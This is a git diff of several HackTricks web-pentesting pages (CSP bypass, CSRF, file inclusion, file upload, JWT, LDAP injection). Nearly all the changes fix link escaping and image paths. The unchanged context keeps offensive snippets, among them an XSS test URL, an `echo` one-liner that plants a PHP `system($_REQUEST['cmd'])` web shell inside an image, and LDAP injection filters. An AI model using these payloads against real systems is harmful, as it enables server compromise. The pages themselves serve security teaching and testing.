+Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
 
 ### img-src \*; via XSS (iframe) - Time attack
 
@@ -694,7 +694,7 @@ Both methods exploit the nuances of CSP implementation and behavior in browsers,
 
 Trick from [**here**](https://ctftime.org/writeup/29310).
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -844,7 +844,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 
 ​
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -860,15 +860,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/csrf-cross-site-request-forgery.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -132,7 +132,7 @@ Note that if the **csrf token is related with the session cookie this attack won
 
 ### Content-Type change
 
-According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
+According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
 
 * **`application/x-www-form-urlencoded`**
 * **`multipart/form-data`**
@@ -140,7 +140,7 @@ According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#s
 
 However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
 
-Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain:
+Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
 
 ```html
 <html>
@@ -624,7 +624,7 @@ with open(PASS_LIST, "r") as f:
 
 ​
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -648,7 +648,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/email-injections.md

@@ -3,7 +3,7 @@
 <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -200,7 +200,7 @@ Some services like **github** or **salesforce allows** you to create an **email
 ### Account-Takeover
 
 If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\
-_Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._
+&#xNAN;_&#x4E;ote that salesforce indicates if the given email was or not verified but so the application should take into account this info._
 
 ## Reply-To
 
@@ -234,7 +234,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -243,7 +243,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm_source=hacktricks\&utm_medium=text\&utm_campaign=ppc\&utm_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}

pentesting-web/file-inclusion/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -354,7 +354,7 @@ In the original post you can find a detailed explanation of the technique, but h
 * The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
   * And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
 
-In the post a tool to perform this automatically was also leaked: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
+In the post a tool to perform this automatically was also leaked: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
 
 ### php://fd
 
@@ -492,7 +492,7 @@ Similarly, for executing arbitrary system commands, one might use:
 
 It's important to **URL-encode these payloads**.
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -670,7 +670,7 @@ If you found a **Local File Inclusion** and **Nginx** is running in front of PHP
 If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
 
 {% content-ref url="via-php_session_upload_progress.md" %}
-[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
+[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
 {% endcontent-ref %}
 
 ### Via temp file uploads in Windows
@@ -715,7 +715,7 @@ If you found a **Local File Inclusion** and a file exposing **phpinfo()** with f
 If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
 
 {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
-[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
+[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
 {% endcontent-ref %}
 
 ### Via eternal waiting + bruteforce
@@ -731,7 +731,7 @@ If you can abuse the LFI to **upload temporary files** and make the server **han
 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
 
 **I don't know how is this useful but it might be.**\
-_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
+&#xNAN;_&#x45;ven if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 <figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
 
@@ -742,7 +742,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
 
 {% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -766,7 +766,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/file-upload/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -87,11 +87,11 @@ Other useful extensions:
   `\` or you could also **introduce the payload directly** in an image:\
   `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 * If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
-  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
+  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 * The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
-  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
+  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 * Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
-  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
+  * [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
 
@@ -183,7 +183,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
 
 ## Tools
 
-* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
+* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
 
 ## From File upload to other vulnerabilities
 
@@ -225,7 +225,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here](
 * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 * **JPG**: `"\xff\xd8\xff"`
 
-Refer to [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) for other filetypes.
+Refer to [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
 
 ### Zip/Tar File Automatically decompressed Upload
 
@@ -341,7 +341,7 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -356,7 +356,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -9,24 +9,24 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
-**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
-**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
+**Part of this post is based in the awesome post:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\
+**Author of the great tool to pentest JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt_tool)
 
 ### **Quick Wins**
 
-Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
+Run [**jwt\_tool**](https://github.com/ticarpi/jwt_tool) with mode `All Tests!` and wait for green lines
 
 ```bash
 python3 jwt_tool.py -M at \
@@ -282,7 +282,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -297,7 +297,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/ldap-injection.md

@@ -11,13 +11,13 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -50,8 +50,8 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 **Substring** = attr ”=” \[initial] \* \[final]\
 **Initial** = assertionvalue\
 **Final** = assertionvalue\
-**(&)** = Absolute TRUE\
-**(|)** = Absolute FALSE
+&#xNAN;**(&)** = Absolute TRUE\
+&#xNAN;**(|)** = Absolute FALSE
 
 For example:\
 `(&(!(objectClass=Impresoras))(uid=s*))`\
@@ -134,8 +134,8 @@ password=any
 
 #### Lists
 
-* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
-* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
+* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
+* [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
 * [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
 
 ### Blind LDAP Injection
@@ -173,7 +173,7 @@ You can iterate over the ascii letters, digits and symbols:
 
 #### **Discover valid LDAP fields**
 
-LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
+LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
 
 ```python
 #!/usr/bin/python3
@@ -236,7 +236,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -251,7 +251,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
